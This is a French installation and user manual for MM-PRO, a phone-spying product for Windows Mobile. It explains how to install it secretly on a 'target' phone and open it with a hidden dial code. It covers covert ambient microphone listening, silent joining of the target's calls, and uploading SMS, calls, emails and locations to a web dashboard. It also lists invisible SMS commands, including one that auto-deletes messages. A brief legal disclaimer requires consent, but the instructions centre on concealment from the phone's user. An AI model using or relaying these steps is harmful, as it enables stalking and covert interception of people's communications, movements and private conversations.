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Windows Mobile – Manuel d’installation MM-PRO 

Préalable 

• Après votre achat, vous recevrez un email contenant 3 informations importantes : 

Le code d’activation, le code d’identification et le mot de passe. 

• Vous devrez télécharger le logiciel MM-PRO directement sur le téléphone à équiper (nommé 

téléphone cible). 

• Le téléphone cible doit avoir un accès à Internet correctement configuré. Il devra également 

être paramétré pour les appels en conférence. Contacter votre opérateur si vous n’en êtes 

pas sûr. 

• Aucun câble ni ordinateur n’est requis. 

Définitions 

MM-PRO : votre logiciel téléchargé à partir de l’adresse internet http://www.mobilebackup.biz/db/ 

sur le téléphone cible. 

Code d’activation : Il s’agit du numéro de licence servant de clé à l’activation. Ce code est reçu lors 

de l’achat. 

Cible : Le téléphone dont on souhaite suivre l’activité. Le logiciel MM-PRO est à installer sur le 

téléphone cible. 

Moniteur : Le téléphone autorisé par MM-PRO à agir à distance et recevant les informations sur le 

téléphone cible 

Ecoute environnementale : Une écoute environnementale est la fonction permettant au moniteur 

de se connecter à distance sur le téléphone cible et d’ouvrir son micro sans que cela ne soit visible 

par les intervenants présents autour. 

Ecoute conversationnelle : Cette fonction permet de savoir, par SMS, qu’une communication entre 

la cible et un tiers vient de débuter et de l’écouter à distance. 

Liste d’interception : La liste des numéros de téléphone paramétrée dans la cible faisant l’objet de 

l’envoi d’un SMS au moniteur si une communication est établie avec un de ses numéros.  

Tableau de bord : Le site internet vous permettant de connaître les activités du téléphone cible. Le 

code d’identification et le mot de passe reçu lors de l’acquisition du logiciel vous permette d’accéder 

au tableau des activités de la cible. 

Procédure d’installation rapide 

Téléchargement 
1. Ouvrir votre navigateur internet sur le téléphone cible à l’adresse 

http://www.mobilebackup.biz/db/ . 

2. Entrer la clé d’activation et lancer le téléchargement 

3. Eteindre  et rallumer le téléphone 

4. Ouvrir le logiciel sur la cible en tapant au clavier du téléphone le code de démarrage sans 

activation *#900900900. Si vous faites une erreur, presser le bouton de fin d’appel et 

recommencer. Il faut environ 10 seconde pour que le logiciel secret apparaisse à l’écran. 

5. Entrer la clé d’activation et presser sur activate. 

6. Vous êtes dans le programme MM-PRO, presser sur Options et choisissez Test Web 

Connection pour vous assurer que l’installation s’est bien passée. 

Configuration 
7. Choisissez les activités que vous souhaitez capturer en allant dans : 

 [OPTIONS->SETTINGS->Collect (pour choisir la liste des communications, données SMS, 

Email) 
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8. Choisissez la fréquence d’obtention des rapports  

[OPTIONS->SETTINGS->Send Report every] 

9. Paramétrez le numéro du moniteur  

[OPTIONS->SETTINGS->Set Monitor Number] 

10. Etablissez la liste des numéros d’interception  

[OPTIONS->SETTINGS->Watch ] Vous recevrez un SMS si la cible communique avec les 

numéros de cette liste 

11. Lancer l’application en mettant ON dans  

[OPTIONS->Start Collecting] 

Les points 7 et 8 sont paramétrés par défaut. 

Le point 11 est essentiel car la valeur par défaut est OFF 

Ces paramètres peuvent être changés à distance par l’envoi d’un SMS (Page 8) ou Contrôle distant 

(Page 19). 
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MANUEL D’UTILISATION POUR TELEPHONE SOUS WINDOWS MOBILE 
MM-PRO fonctionne avec tous les téléphones disposant du système d’exploitation Windows Mobile 

à l’exception de Windows Mobile 2003. MM-Pro peut être contrôlé à distance en utilisant des SMS 

ou en utilisant une application gratuite fonctionnant sur tous les téléphones compatibles avec Java. 

Our cela, veuillez télécharger l’application de contrôle distant FCTL 

(http://www.mobilebackup.biz/control). Toutes les fonctionnalités de MM-PRO supportent cette 

application. 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Comment ça marche ? 
Votre licence est valable 1 an (12 mois) à dater de la date d’achat. Durant cette période, vous pouvez 

installer MM-PRO sur autant de téléphones que vous le souhaiterez, la licence ne pouvant être active 

que sur une cible à la fois. Pour activer un nouveau téléphone, vous devez, au préalable, désactiver 

MM-PRO de la cible précédente.  

Après l’installation de MM-PRO sur la cible, les SMS, connexions téléphoniques, Email sont 

sauvegardés sur la cible puis sont transférés sur le compte Internet selon une périodicité ou un 

nombre d’activités paramétrable. 

Leur consultation est alors possible en se connectant sur http://www.mobilebackup.biz/ et en 

entrant le code d’identification et le mot de passe reçus lors de l’acquisition de MM-PRO. 

Pour permettre l’écoute environnementale ou conversationnelle, vous devez préciser au téléphone 

cible le numéro du moniteur.  

En appelant avec le moniteur, le micro de la cible s’ouvre discrètement sans que son apparence 

change et le moniteur peut ainsi entendre les conversations dans l’environnement de la cible. 

Concernant l’écoute conversationnelle, le processus est le même sauf que le moniteur est informé 

d’un appel par SMS si le numéro de l’interlocuteur figure dans la liste d’interception. Le moniteur n’a 

plus qu’à appeler la cible pour se retrouver dans la conversation sans que les interlocuteurs ne s’en 

aperçoivent. L’arrêt de l’écoute se fait aussi discrètement en pressant sur la touche fin d’appel du 

moniteur. 

Il est important de couper le micro du moniteur dans le cas d’une écoute conversationnelle sans 

quoi les interlocuteurs de l’appel pourront entendre l’environnement du moniteur. 

 

 

 
MM-PRO 

fonctionne sur le 

téléphone cible 

MM-PRO transmet 

les activités via 

Internet 

Tableau de bord affiche les activités de la cible : 

SMS, appels émis et reçus, Email, localisation. Ces 

informations peuvent être effacées à tout 

moment 

 
Le téléphone Moniteur écoute 

l’environnement de la cible 
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Les logiciels MM-PRO sont vendus à des entreprises ou particuliers, propriétaires des téléphones 
mobiles dont ils souhaitent contrôler l’utilisation. Cette utilisation n’est autorisée que dans la mesure où 
elle est effectuée en conformité avec les lois en vigueur dans le pays sur le respect de la vie privée 
d’autrui.  

Du fait de risque de détournement, il est de la responsabilité de l'utilisateur du logiciel MM-PRO de vérifier 
que son utilisation obéit à toutes les lois applicables dans son pays et dans celui dans lequel le logiciel 
est utilisé. En particulier, il est interdit de l’exploiter à des fins qualifiées de sournoises, à l’insu de la 
personne utilisatrice du téléphone. Si vous êtes dans le doute, consultez votre avocat avant d'utiliser nos 
produits. 

En téléchargeant et installant MM-PRO sur un téléphone, vous reconnaissez être propriétaire du mobile 
et que son abonnement auprès d’un opérateur de téléphonie mobile est à votre nom. Il n’est pas suffisant 
d’être seulement le détenteur de l’abonnement ou seulement le propriétaire du mobile. Vous 
reconnaissez également que l’utilisation que vous en ferez sera, en tous points, conforme à la législation 
en vigueur dans votre pays et dans le pays où il pourra ou sera utilisé. 

Enregistrer des SMS, écouter des conversations, lire des Emails, localiser la position d’un mobile sont 
des activités interdites si elles sont pratiquées sur des téléphones appartenant à d’autres personnes 
physiques ou morales et/ou si les personnes utilisatrices du téléphone équipé de MM-PRO ne sont pas 
informés par écrit et que leur accord n’a pas été clairement donné également par écrit et sans contrainte 
et en toute connaissance de cause. Dans le cas où ces dispositions ne sont pas prises, la personne 
physique ou morale pratiquant ces activités reconnait sa culpabilité dans la pratique d’activité illégale en 
matière de violation de la vie privée d’autrui. Elle sera passible des peines que le code pénal de son pays 
précisera en la matière. 
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Comment télécharger le logiciel dans la cible 

Opération de téléchargement 
Le téléchargement nécessite l’internet sur votre téléphone. 

 

 

 

Pour télécharger MM-PRO, vous devez : 

1. Ouvrez le navigateur Web 

2. Entrez http://www.mobilebackup.biz/db/ dans le 

navigateur et pressez Allez à. Ceci va ouvrir la page Web 

dans laquelle s’affiche la zone de saisie du code 

d’activation et le bouton Download 

3. Apparait sur l’écran du téléphone une zone indiquant : 

Enter your activation Code : 

4. Dans la zone correspondante, saisissez au clavier le code 

d’activation qui 

vous avez reçu par 

Email après l’achat. 

5. Déplacez le pointeur sur la zone Download 

qui, lorsqu’elle est accessible, s’entoure d’un liseré et 

cliquez dessus pour lancer le téléchargement. 

6. L‘installation démarre immédiatement pour 

afficher Complete à la fin du téléchargement. Durée : 

2 mn. 

7. Si l’installation ne démarre pas, allez dans 

l’explorateur de fichiers, dans Mes Documents et 

cliquez sur le fichier à télécharger. Ce fichier sera 

automatiquement effacé à la fin du téléchargement. 

IMPORTANT : Si le fichier ne 

s’efface pas à la fin de 

l’installation, veuillez l’effacer manuellement 
8. Eteignez et rallumez le téléphone cible, le téléchargement est terminé. 
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Installation et activation 
Pour démarrer l’application, vous devez : 

1. Entrez au clavier du téléphone cible : *#900900900 

2. Ce code ne sert qu’à l’ouverture du programme et 

permettre l’enregistrement de la clé d’activation. 

3. Presser sur la touche d’appel téléphonique de votre 

mobile, le logiciel apparaitra au bout de 10 

secondes. 

4. L’écran d’activation de nouvelles applications 

apparait 

5. Entrez la clé qui vous a été fournit par Email lors de 

l’acquisition de MM-PRO et pressez sur Activate 

6. Sélectionnez Activate – Un panneau Result s’affiche 

pour vous préciser que l’activation a réussie ou 

échouée. Si l’activation a échouée, vérifiez la clé 

d’activation et refaites la procédure. 

 

7. Quand l’activation a réussi, pressez sur OK, la cible 

est activée- le code *#900900900# n’est plus 

valide. 

8. Si vous ne voyez pas le message d’activation, 

vérifiez le code d’activation qui n’a pas dû être 

entré correctement. 
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Configuration et Paramétrage 
MM-PRO nécessite une connexion valide à l’Internet. 

Cette section explique comment tester la connexion et 

obtenir la capture des données.  

A l’ouverture du programme, vous devriez voir 

apparaitre l’écran suivant 

 

Choisissez Options� Paramètres � Test Web Connexion 

Vous devriez obtenir un rapport indiquant que le test 

s’est parfaitement déroulé. Dans le cas contraire, vérifiez 

que vous disposez bien d’un accès correct à l’Internet 

(GPRS). 

Test d’authentification 
Ce test va permettre à MM-PRO de tester la 

communication avec le serveur sur lequel seront 

envoyées les données capturées. Ces données 

seront, dès lors accessible pour consultation sur 

l’Internet de n’importe quel endroit. 

Si le test échoue, vérifiez que vous disposez bien 

d’une connexion à l’internet mobile (GPRS) 

Si la connexion à l’Internet est valide, recherchez les 

points d’accès et effectuez le paramétrage. Pour cela, 

vous devrez allez sur 

Démarrer/Paramètres/Connexion 

réseau/GPRS/Sélection Réseau et choisissez un point 

d’accès valide à l’Internet 

Description du paramétrage 

Collect:  
Choisissez Options � Settings � Collect 

Faites le choix des données que vous souhaitez 

collecter. Pour être sélectionnées, les valeurs doivent 

être précédées du v pour Validation 

Si ne choisissez aucune donnée à collecter, vous 

n’obtiendrez rien dans votre tableau de contrôle. Ces 

paramètres peuvent également être modifiés par 

des commandes SMS. 
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Send Report Every 
Ce paramètre permet de choisir la fréquence d’envoi des 

données au serveur. 

Choisissez Options � Settings � Send Report Every. Vous 

avez le choix entre  

First Event : Chaque donnée sera envoyée immédiatement 

Fifth event : le logiciel attendra d’avoir 5 données pour les 

envoyer 

Tenth event : le logiciel attendra d’avoir 10 données pour les 

envoyer  

 

Ce paramètre est important pour vous éviter de consommer 

de l’Internet si votre forfait est limité. En envoyant les 

données toutes les 10 données, laa consommation Internet 

sera réduite par rapport à l’envoi immédiat des données. 

 

Ces informations étant paramétrées vous devrez sortir du logiciel et redémarrer le téléphone 

mobile. 

Numéro Moniteur 
Choisissez Options � Settings � Monitor Number puis 

cliquez sur ‘’Set Monitor Number’’  

Ce numéro est Important. C’est celui qui sera autorisé par 

le téléphone équipé de MMPro de permettre des écoutes 

environnementales et des interceptions d’appel. Il s’agit 

du numéro du téléphone espion. 

Il vous faut entrer le code du Pays : 33 pour la France, 32 

pour la Belgique, 41 pour la Suisse par exemple 

Complété du numéro moniteur lui-même 

 

En choisissant Apply, tous les appels à partir de ce numéro 

vers le téléphone équipé de MM Pro seront des appels 

espions !! 

Ces informations étant paramétrées vous devrez sortir du logiciel et redémarrer le téléphone 

mobile. 

Liste de surveillance (Watch List) et Interception d’appel (Interceptor) 
Ce paramétrage vous permet de recevoir des SMS d’alerte 

chaque fois que le téléphone équipé de MM Pro 

commencera une communication avec un numéro figurant 

sur cette liste. 

 

Vous aurez le choix entre : 

Surveiller tous les appels – Watch all numbers 

Surveiller les numéros de la liste – Watch only numbers 

En choisissant cette option, vous pourrez entrer jusqu’à 10 

numéros en allant dans Options � Add (Ajout) 

Ne pas surveiller de numéros – Watch Disable  
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Important – Lancer la Capture 
 

Si vous n’activez pas l’option de lancement de la capture 

des données, vous n’obtiendrez aucune donnée dans le 

tableau de bord sur Internet. Pour cela, vous devez aller 

dans Options � Start Collecting  

 

Ces informations étant paramétrées vous devrez sortir 

du logiciel et redémarrer le téléphone mobile. 

 

 

 

 

 

Fonctions Principales de MM-Pro 

Utilisation du GPS 
MM-PRO dispose de toutes les fonctionnalités pour servir d’outil de géolocalisation.  

Il permet 2 types de localisation : GPS ou par triangulation des antennes relais.  

Seuls certains téléphones de dernière génération disposent de la fonction GPS mais tous sont 

localisables par triangulation des antennes relais.  

Cette fonction a pour objet de répondre à la question : Est-ce que le mobile se trouve bien à l’endroit 

où il est supposé être ? 

Pour cela, nous vous recommandons d’utiliser la fonction seulement quand cela vous parait 

opportun. Cette fonction GPS peut, en effet, être activée et désactivée à distance – commande 

<*#52> en fonction de vos besoins.  

Les données des antennes relais obtenues ne permettent pas de connaitre la position géographique 

sauf par comparaison. En effet, les opérateurs ne fournissent pas ces indications mais l’on sait qu’à 

un endroit est dédié un identifiant unique correspondant à l’antenne relais. Il ne vous reste plus qu’à 

mettre en relation ces identifiants avec une position géographique puis de les comparer avec ce 

qu’ils auraient dû être si la personne avait été à cet endroit. Dans le cas du GPS, les informations 

reçues sont plus parlantes car elles sont visualisables sur la cartographie disponible dans le tableau 

de bord. Vous avez autrement la possibilité de la visualiser en utilisant Google Map par exemple. 

Utilisation de l’écoute environnementale 
Cette fonction permet d’entendre l’environnement du téléphone cible sans que l’apparence du 

téléphone ne change. 

Comment ça marche ? 

MM-PRO compare le numéro d’appel avec le numéro enregistré comme moniteur dans la parte Call 

du paramétrage. Si le numéro correspond, MM-PRO ouvre le micro en s’assurant d’inhiber les autres 

fonctions d’affichage et le micro de la cible. De cette manière, le moniteur entendra les sons autour 

du téléphone en toute discrétion. 

Comment modifier le numéro du moniteur à distance ? 

Vous pouvez le faire en envoyant un SMS au numéro de la cible. Le corps du SMS doit être composé 

de la manière suivante : 

<*#10><code d’activation><nouveau numéro moniteur> 

Pour vous assurer de la modification du numéro du moniteur, il vous suffit de demander le rapport 

d’envoi du SMS. N’utilisez pas les cartes prépayées ou Skype car l’identifiant d’envoi n’est pas 

conforme. 
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Utilisation de l’écoute conversationnelle 
Cette fonction permet l’écoute discrète d’une conversation téléphonique entre la cible et un tiers. 

Vous devez entrer les numéros des tiers dont vous souhaitez écouter la conversation dans la liste 

d’interception. Cette liste est accessible dans le menu Watch list décrit dans le chapitre précédent. 

Comment ça marche ? 

MM-PRO compare le numéro d’appel avec la liste d’interception. Si le numéro y figure ou si la liste 

d’interception est en mode ‘’Tous les appels’’, un SMS est envoyé au moniteur immédiatement pour 

l’informer du début de la conversation. Le moniteur doit appeler la cible, en prenant bien soin de 

couper son micro, pour entendre la discussion entre la cible et son interlocuteur.  

Précaution à prendre : La fonction ‘’Conférence’’ doit être activée sur le téléphone cible. 

Comment entrer des numéros dans la liste d’interception à distance ? 

Vous pouvez le faire en envoyant un SMS au numéro de la cible. Le corps du SMS doit être composé 

de la manière suivante : 

<*#50><code d’activation><nouveau numéro à mettre dans la liste> 

Pour vous assurer de la modification du numéro du moniteur, il vous suffit de demander le rapport 

d’envoi du SMS. N’utilisez pas les cartes prépayées ou Skype car l’identifiant d’envoi n’est pas 

conforme. 

Liste des commandes distantes par SMS 
Vous trouvez ci-dessous les commandes qui permettent la modification du paramétrage de MM-PRO 

à distance grâce à l’envoi d’un SMS invisible sur la cible. 

Commande de paramétrage général 
<*#63><code d’activation><Capture><Timer><Nombre de capture><Données à capturer><Rapport> 

<Capture> entrez 0 pour arrêter la capture de données – 1 pour démarrer la capture des données 

<Timer> entrez un nombre entre 1 et 24 pour paramétrer la période d’envoi des données au serveur 

<Nombre de capture> Entrez une valeur entre 1 et 500 pour paramétrer le nombre de captures à 

envoyer en une fois. 

<Données à capturer> Permet de paramétrer si vous souhaiter capturer les « SMS », 

« Communications », « Email », « antenne relais ». Si vous activez la capture, mettez 1 si vous 

désactivez la capture, mettez 0. Prenons l’exemple <1,1,0,0> cela signifie que vous souhaitez 

capturer les SMS et les communications mais pas les Emails et la localisation des antennes relais. 

<Rapport> Mettez D si vous souhaitez obtenir un SMS de confirmation. 

N’utilisez pas les cartes prépayées ou Skype car l’identifiant d’envoi n’est pas conforme. 

Tableau des commandes 
Les commandes et instructions sont à mettre entre <> dans le SMS.  

La clé d’activation est celle qui vous a été envoyée lors de l’acquisition de MM-PRO. La demande de 

rapport est optionnel.  

Si vous envoyez <D> dans le corps du SMS, vous recevrez en retour un SMS de confirmation du bon 

ou mauvais déroulement de l’action. 

Si j’envoie le SMS suivant : 

<*#10><123456789><+336123456><D> : cela signifie que la cible dont la clé d’activation est 

123456789 va avoir son numéro moniteur changé pour le +336123456 et que je vais recevoir un SMS 

de confirmation. 

Commande Code activation 
Rapport 

(Opt) 
Description 

<*#10> <Clé activation><Numéro moniteur> <D> Permet de changer le numéro du 

moniteur 

<*#10> <Clé activation> <D> Active les fonctions d’écoute 

environnementale, 

conversationnelle avec le numéro 

moniteur déjà actif. 
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<*#20> <Clé activation> <D> Désactive les fonctions d’écoute 

environnementale, 

conversationnelle 

<*#50> <Clé activation><Valeur 0,1 ou 2> <D> Agit sur la liste d’interception 

Si vous mettez : 

0 – vous désactivez la liste 

1 – vous activez la liste actuelle 

2 – vous activez tous les numéros 

<*#50> <Clé activation><numéro téléphone> <D> Ajoute le numéro à la liste 

d’interception 

<*#51> <Clé activation> <D> Efface tous les numéros de la liste 

d’interception 

<*#52> <Clé activation><Valeur 0 ou 1><Timer> <D> Active/désactive et change la 

période d’acquisition des 

positions GPS 

0 – désactive 

1 – active 

0 -1 – 2 – 3 – 4 – 5 – 6 – 7 - 8 

Pour :  

off -10s – 30s – 1mn – 5 mn – 10 

mn – 20 mn - 40mn -60 mn 

<*#60> <Clé activation> <D> Pour activer la capture des 

données 

<*#61> <Clé activation> <D> Pour désactiver la capture des 

données 

<*#62> <Clé activation> N/A Pour obtenir un diagnostic de la 

cible 

<*#64> <Clé activation> <D> Pour obtenir l’envoi immédiat des 

données capturées au serveur 

(Tableau de bord) 

<*#71> <Clé activation> <D> Pour lancer la recherche d’un 

point d’accès si la connexion au 

serveur ne fonctionne pas 

<*#73> <Clé activation><mot clé1><mot clé2> <D> Ajoute/modifie les mots clé. Si un 

SMS arrive avec, dans son 

contenu, l’un des mots clé, il sera 

automatiquement supprimé. 

Attention de ne pas mettre de 

mots clé trop petit car tous les SS 

seront effacés. 

<*#73> <Clé activation><><> <D> Efface les mots clé.  

<*#73> <Clé activation> N/A Pour connaitre les mots clé.  

<*#147258> <Clé activation> <D> Redémarre le téléphone cible  

 

Messages d’erreur 
Un certain nombre de message vous renseigne sur de mauvaises saisies 

Message d’erreur Description 

[39 1.00] erreur 300 Ce n’est pas un message de commande 

[39 1.00] erreur 301 Format de la commande invalide 

[39 1.00] erreur 302 Commande inconnue 
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[39 1.00] erreur 303 Code d’activation invalide 

[39 1.00] erreur 304 Code d’activation faux 

[39 1.00] erreur 305 Numéro de téléphone invalide 

[39 1.00] erreur 306 Numéro de téléphone non spécifié 

[39 1.00] erreur 307 Le produit n’est pas activé 

Désactivation de MM-PRO sur un téléphone 
Si vous souhaitez contrôler l’usage d’un autre téléphone avec la même clé d’activation, vous devrez 

télécharger MM-PRO dans le nouveau téléphone, désactiver le téléphone précédent avant d’activer 

la nouvelle cible avec la même clé d’activation. En effet, la clé d’activation ne peut faire fonctionner 

qu’un téléphone à la fois. Son code est unique. 

Important : Avant de désactiver une cible, nous vous recommandons de récupérer toutes les 

données sur le serveur (Tableau de bord) car l’action de désactivation supprime toutes les 

données. 

 

Pour désactiver une clé, vous devez : 

1. Avoir le téléphone disposant de la clé à désactiver 

dans vos mains 

2. Taper le code d’activation pour ouvrir l’application 

puis presser sur le bouton d’appel téléphonique du mobile 

disposant de MM-Pro 

3. Sélectionner Options  

4. Choisir l’option Deactivate 

5. Accepter que les données du serveur soient 

effacées 

6. Entrez de nouveau la clé d’activation  

7. Sélectionnez Deactivate pour effectuer la 

désactivation 

 

 

 

 

 

 

Désinstaller MM-PRO 
Pour entrer dans MM-Pro après que le logiciel ait été désactivé, il vous faut taper le code 

*#0900900900 puis presser sur le bouton d’appel téléphonique 

 

Dans l’application MM-PRO, il vous suffit de sélectionner Options et choisir Uninstall pour lancer la 

désinstallation de MM-Pro. 

 

Vous pouvez également désinstaller MM-Pro en allant dans votre téléphone le gestionnaire 

d’application. Vous y trouverez  Mobile backup devenu visible. Il vous suffira de sélectionner 

Démarrer � Paramètre � supprimer l’application nommée ‘’0 39’’ 

 

Maintenant que le logiciel est désactivé, vous pouvez l’installer sur un autre téléphone mobile. 
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Version Système et Information 
Les informations ci-dessous contiennent des informations de diagnostic qui pourraient vous être 

demandées par le support en cas de problème. Pour les obtenir, il vous suffit d’envoyer un SMS de 

commande libellé de la manière suivante : <*#62><code activation> au numéro du téléphone 

disposant de MM Pro. Vous recevrez en retour un message texte dont les explications vous sont 

fournies sur le tableau de droite. 

 
 

Nous vous recommandons de lancer le diagnostic du programme avant d’appeler le service support 

de manière à vous apporter une aide plus effective. 
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Tableau de bord des données 
Pour suivre les activités du téléphone cible, vous disposez d’un compte internet à l’adresse 

http://www.mobilebackup.biz dans lequel vous aurez à saisir le code d’identification et le mot de 

passe qui vous a été envoyé par email lors de l’achat. 

 

Cette page vous affiche : 

 

 

 

 

 

 

 

 

 

 

 

  

Nom du contact si connu dans le 

téléphone cible sinon le numéro de 

téléphone 

La date et l’heure à laquelle l’activité 

a été démarrée et la date et l’heure 

du serveur au même moment 

Durée de la 

communication 

Sens de la communication 

Type de communication :  

Voice pour Voix 

SMS pour SMS 

Email pour courriel 

Loc pour localisation par antenne relais 

Map pour localisation par GPS visible dans GPS tracking 

All : Toutes 

les données 

Voice : Les 

communica

tions 

émises et 

reçues 

SMS : 

Les 

SMS 

émis et 

reçus 

Email : Les 

courriels 

émis et 

reçus 

System : Les 

messages 

générés par 

le système 

Search : Un 

requêteur vous 

permettant 

d’effectuer des 

recherches fines 

Download : Un 

module vous 

permettant de 

télécharger vos 

données 

GPS 

Tracking : La 

carte des 

itinéraires 

suivis par la 

cible. 
My Profile : 

les 

paramètres 

d’accès et 

d’obtention 

des données 

capturées 

Location : Les 

coordonnées 

de localisation 

en provenance 

des antennes 

relais 
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Fonction Search 
 

 
 

Search this phone : En choisissant la liste déroulante, vous trouverez le N° IMEI des téléphones 

cibles. 

For this Keyword : vous permet de chercher toutes les captures comportant le mot que vous aurez 

saisi dans la zone. 

In the category : vous avez le choix de chercher le mot dans –ALL toutes les captures – Contents 

seulement les contenus – Contact name or Cell ID nom de contact ou antenne relais – Contact 

number numéro de téléphone des contacts. 

In this direction : Pour ne chercher que dans ALL tous les appels – Incoming seulement les appels 

entrants – Outgoing seulement les appels sortants – Missed seulement les appels manqués 

Date from  - Date To : Entrez la plage de date  

Search : Lancer la Recherche 

Form Reset : Mise à zéro des zones de recherche 

Information sur les  appels 

 
IMEI : N° unique d’identification du téléphone cible. S’obtient en tapant *#06# sur le clavier du 

téléphone mobile 

Client Time : Date et heure de la communication sur le mobile 

Server Time : Date et heure de la communication sur le serveur 

Event type : Type de capture Voix 

Direction : OUT appel sortant IN appel entrant 

Duration : Durée de l’appel 

Phone number : Numéro de l’interlocuteur 

Contact name : nom du contact sur le téléphone 
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Information sur les SMS 

 
IMEI : N° unique d’identification du téléphone cible. S’obtient en tapant *#06# sur le clavier du 

téléphone mobile 

Client Time : Date et heure de la communication sur le mobile 

Server Time : Date et heure de la communication sur le serveur 

Event type : Type de capture SMS 

Direction : OUT appel sortant IN appel entrant 

Phone number : Numéro de l’interlocuteur 

Contact name : nom du contact sur le téléphone 

Contents : Contenu du message 

Exportation des données 

 
 

Search this phone : En choisissant la liste déroulante, vous trouverez le N° IMEI des téléphones 

cibles. 

For this Keyword : vous permet de chercher toutes les captures comportant le mot que vous aurez 

saisi dans la zone. 

In this direction: vous avez le choix de chercher le mot dans –ALL toutes les captures – VOICE les 

communications téléphoniques -  SMS les SMS envoyés et reçus – EMAIL les Emails envoyés et reçus 

– LOC les localisations des antennes relais – SYSTEM les instructions et contrôles distants 

In this direction : Pour ne chercher que dans ALL tous les appels – Incoming seulement les appels 

entrants – Outgoing seulement les appels sortants – Missed seulement les appels manqués 

Date from  - Date To : Entrez la plage de date  

Download as : Format de sortie des données CSV lecture sur tableur-  RTF lecture sur traitement de 

texte – XML traitement informatique 

Download : Lancer l’exportation 

Form Reset : Mise à zéro des zones de recherche 
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